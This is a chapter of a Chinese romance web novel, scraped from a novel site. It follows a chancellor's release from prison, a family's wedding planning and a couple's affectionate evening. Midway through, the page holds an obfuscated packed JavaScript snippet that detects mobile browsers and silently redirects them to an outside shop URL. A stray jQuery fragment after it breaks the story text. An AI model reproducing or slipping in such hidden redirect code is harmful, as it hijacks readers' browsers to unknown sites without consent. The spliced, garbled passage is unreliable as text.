文趣网 > 其他小说 > 我家那位是醋坛 > 34. 父女俩
    三人离开了后宫到了诏狱,门外的士兵很识趣的给三人让开了道路。

    只不过目光盯在念念身上,念念也察觉到了对方的目光,挑起眉看向他问:“怎么?我跟着谢小将军来的,你以为我是什么绝世坏蛋吗?”

    士兵低下头,彻底让开路,念念也没过多计较,跟着两人朝着里面走去。

    牢内,明衢的牢狱比起旁人简直不像是牢,旁人皆是就地而坐,困了躺在一圈草席上睡。

    而明衢不仅有床,甚至还放着书案以及堆积如山的书籍,简直是回家了。

    “父亲!”明枝溪打开牢门,牢门并没有上锁,似乎知道明衢也不会被关很久。

    “诶!枝溪?你怎么来了?”明衢本低垂着头看书,听到声音才舍得将头从书籍的温柔乡里抬起来。

    “事情我们已经查清楚,赵康时让我们接你回家,我们先回去,回去了再跟你解释。”明枝溪拉起明衢便往外走。

    正想说些话客套客套,但是明枝溪发现,他待在这半天似乎心情还不错…

    谢槐池默默跟在后面,念念看着父女情深的模样忍不住撇了撇嘴。

    “这究竟怎么了?查清我是冤枉的了?”明衢调整了衣领,走到外头时被阳光刺得睁不开眼。

    士兵默默点头示好,明衢似乎想起什么似得对着士兵道:“那些书…方便给我送府上去吗?”

    士兵听得一愣,不待他回答,谢槐池抢先道:“父亲,我府上有,若是不介意的话来我府上看,我们先离开这个是非之地。”

    明衢:???

    “父亲?我什么时候成你父亲了?你和我家枝溪还没成亲呢!”

    明枝溪笑着拉着明衢继续往外走,明衢对着士兵继续喊道:“记得啊!送丞相府!别忘记了!”

    ——————

    拖拖拉拉终于上了马车到了府外,明衢看着跟了一路的念念有些不解,问道:“这位是?”

    “质子。”明枝溪淡淡回复着,拉着明衢下了马车。

    博英风站在门外看着明衢回来了顿时双腿有些发软,和音仪更是直接扑上去哭诉:“官人啊!你就听枝溪的会怎么样啊!”

    “听宫中传话说你被扣了,我差点就以为见不到你了。”

    明枝溪站在一旁手足无措的阻拦着:“诶!姨娘!等下等下!还有外人在呢!而且我们一会儿要去书房聊些事情,你们晚点再叙旧!”

    和音仪抹着泪退了回去,四人这才进了书房,明衢坐在主位上没有开口,静静地看着三人。

    片刻后,明衢才道:“解释解释吧。”

    明枝溪将事情的来龙去脉解释清楚后,明衢蹙着眉道:“这事情太过危险!”

    “不危险,只要能换父亲的清白怎么都不危险。”谢槐池笑盈盈的说着,眼睛都笑得眯成一条缝。

    念念默默远离,翻了个白眼:“先前的事情是我兄长太过偏激,在这里也向您致歉,我会帮助谢小将军的,您放心。”

    “我怕什么信你们?”明衢沉声道。

    “不愧是明姑娘的父亲,问的话都一模一样。”念念学着谢槐池的样子笑着。

    “少来那套,你兄长害的枝溪卧床半年,现在你说让我们帮你我们就帮你?我怎么知道会不会有诈。”明衢依旧不松口。

    “好吧,为了证明我们的诚意,哥哥。”念念话音刚落,书房的门便被打开,思思悠悠走进。

    “明衢,明丞相,你觉得怎么样才能证明我们的诚意?”他默默走到念念身旁,将手搭在念念的肩膀上。

    明衢看着他不说话,明枝溪也低垂着头不知在思考些什么。

    谢槐池淡淡道:“简单,你给我夫人吃的药呢?自己也吃一颗,若是有诈你也得死。”

    “还真是公报私仇啊谢公子。”思思不为所动,他们二人就这样盯着三人,良久后思思还是松了口,“行,吃就吃,但是谢将军不是还不准备行动?”

    “等你行动了我再吃不过分吧?再者你们必须照顾好我,别让我真死了,够诚意吗?”

    明衢点了点头:“行,我们同意帮你们,希望你们能信守承诺。”

    念念在思思身旁显得格外瘦弱,撇撇嘴说着:“一定,但是我要定期看望,我不放心你们。”

    “你不放心我们还不放心呢,谁知道你会不会偷偷摸摸的给你哥喂解药?”谢槐池带着笑说着。

    “这样,贵在承诺,我支持你看你哥,我会让人跟着你,看着你,希望你不要耍小动作。”明枝溪看向两人道。

    “同意。”念念站起身朝着三人行礼,“希望能早日给我准确时间,我们先走了,回见~”

    三人并未说话,目送两人离开后明衢才道:“说说你吧,谢槐池,你又是为什么觉得我必须将枝溪嫁你?万一你战死,我家枝溪年纪轻轻的岂不是成了寡妇?”

    “父亲放心,我不会死的,毕竟枝溪还等着我呢。”谢槐池含着笑着应下,看不出情绪。

    “油嘴滑舌,枝溪,你怎么看?”明衢将目光看向明枝溪。

    “我想嫁他,其实我与他早就相识了,当年母亲将我送去苏州时就相识了。”明枝溪正经说着。

    外门忽然传来惊呼声,三人回眸望去,和音仪嘿嘿笑着开门走进:“我想着给官人送点吃食,这不是怕打扰你们吗。”

    三人并未过多在意,让和音仪坐下后继续商讨。

    “那你有想过万一谢槐池这厮,只是一个看似爱你实则暗藏心机的人呢?”明衢继续说道。

    “不会的,我相信他,当年在苏州,有人欺负我,说我是乡下的泥腿子,就是他帮我打回去的,而且我觉得我才是那个暗藏心机的人吧…”明枝溪尴尬地挠着头看向谢槐池。

    谢槐池对着她笑着:“没有啊,夫人依旧不改,聪明伶俐又不失可爱。”

    门外再次传来声响,博英风推开门走进来:“我看你们鬼鬼祟祟的,于是就来看看,不是有意偷听的。”

    明衢:……

    “好了,婚期打算定在什么时候?”

    ‘哗啦’门外传来书籍掉落在地的声响,众人回眸,沈雪晴与明映畏畏缩缩地走进来:“我们不是故意的!门外有个士兵说这些书是父亲您要的,我们给您送来。”

    “我猜下一个是子晋。”明衢默默说道。

    不出所料,明子晋倒是没有偷听,而是直接推门进来,看着一屋子的人目瞪口呆:“你们…怎么都在这?我来与父亲商讨要事。”

    沈雪晴咳嗽两声:“我们啊..在听枝溪的婚事。”

    “什么?这样的事情怎么能没有我?”明子晋默默坐在沈雪晴身旁。

    “一败涂地。”明衢扶着头摇着。

    谢槐池思虑良久后道:“就这几日吧,此事还是早些办了比较好,免得夜长梦多。”

    “还有!”明枝溪插嘴道,“我不想要太繁琐的仪式!”

    “好~都依夫人。”谢槐池握着明枝溪的手,两人含情脉脉地对视着。

    直到明衢咳嗽两声,明枝溪才红着脸低垂下头。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597956|204825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “念在你祖母年事已高,你也年轻,此事我会亲自操办,没有意见吧?”明衢正色道。

    “我有意见。”明映小声地说着,“要不我与姐姐一同出嫁?这样也省事,我也怕…夜长梦多。”

    明子晋笑出声:“你是成天梦到顾从希那斯吧!”

    欢闹的时间很快便过去,天色渐渐暗沉,几人散去后,明枝溪站在书房外看向谢槐池问:“现在回去吗?”

    “我能不回去?”谢槐池问。

    明枝溪理所当然道:“能啊,要不今晚你就住我这?明日正好能与父亲兄长一起上早朝。”

    “好啊,怎么走?”谢槐池嘴角一勾,握着明枝溪的手更紧了些。

    明枝溪朝着一旁走去:“这边。”

    院门外,谢槐池抬着头看那块匾额摇了摇头:“是不怎么样,看来明兄少时习字也不用功呢。”

    “是啊,还没我少时写的好。”明枝溪带着谢槐池走进院中。

    春雪正蜷缩在躺椅上睡觉,听到声响抬起头‘喵’了一声,随后跳到地上,朝着两人走来。

    雪地上出现了一串小梅花印记,春雪蹭着谢槐池的裤脚,‘喵喵’叫着。

    “哥哥,它也喜欢你。”明枝溪看向谢槐池。

    “那比起它,我更喜欢你。”谢槐池俯下身亲了一口明枝溪的脸颊。

    明枝溪嘿笑起来,拉着谢槐池往屋里走去:“外面冷,快进去吧,春雪也是,别把爪子冻坏了。”

    春雪似乎能听懂一般,跟着两人朝着屋内走去,屋内炭火很足,打开门便有一股暖流袭来,冻僵的手指终于缓和了些。

    “你这小院倒是别致。”谢槐池坐在原来的凳子上说道。

    明枝溪也挨着他坐下,春雪跳上她的膝盖蜷缩起来,不久便传出呼噜声,明枝溪抚摸着它开口说着:“我自己打理的,等我嫁与你也帮你打理怎么样?”

    小白站在鸟架子上,听着声响朝着谢槐池飞去,站在了他的肩膀上。

    “它叫什么?”谢槐池偏头看着小白问。

    “它叫小白,因为它的毛发白绒绒的。”明枝溪笑着答道。

    “小白也喜欢我?”谢槐池收回视线看向明枝溪,“那春雪为何叫春雪?你先前并未告诉我。”

    “因为我们冬日相识,春日又再次相识。”明枝溪回答着。

    “原是这个意思,看来夫人用心了。”谢槐池将目光放在远处的花草纲上问,“那是?”

    “哦!”明枝溪站起身,将那本书从床上拿过来递给谢槐池。

    谢槐池一翻开,那株干枯的铃兰便出现在他面前。

    “这是哥哥你给我的,看来还是有用的,幸福再次降临了。”明枝溪双手撑着脑袋看向谢槐池,忽的想起一件事问,“哥哥,你还未同我说为何你身上有香火味呢。”

    谢槐池难得一见的难为情,偏过头不愿多说,倒是明枝溪看着他这幅模样来了兴致,不停地挑逗他,问:“哥哥怎么害羞了?哥哥怎么不说话了?哥哥你理我一下嘛~”

    “无他。”谢槐池转过头看着明枝溪继续说道,“当时你迟迟不醒,正巧军营附近有一处庙宇,那日闲着无事进去看看。”

    明枝溪将脸凑近些问:“真的吗?我不信,哥哥你不听话,居然骗我,老实交代!”

    谢槐池无奈地笑着,温热的气息在明枝溪的脸颊周围萦绕:“好,还真是什么都瞒不过夫人啊。”

    “前面我还真没骗你,只是我后来常去那处庙宇,因为…”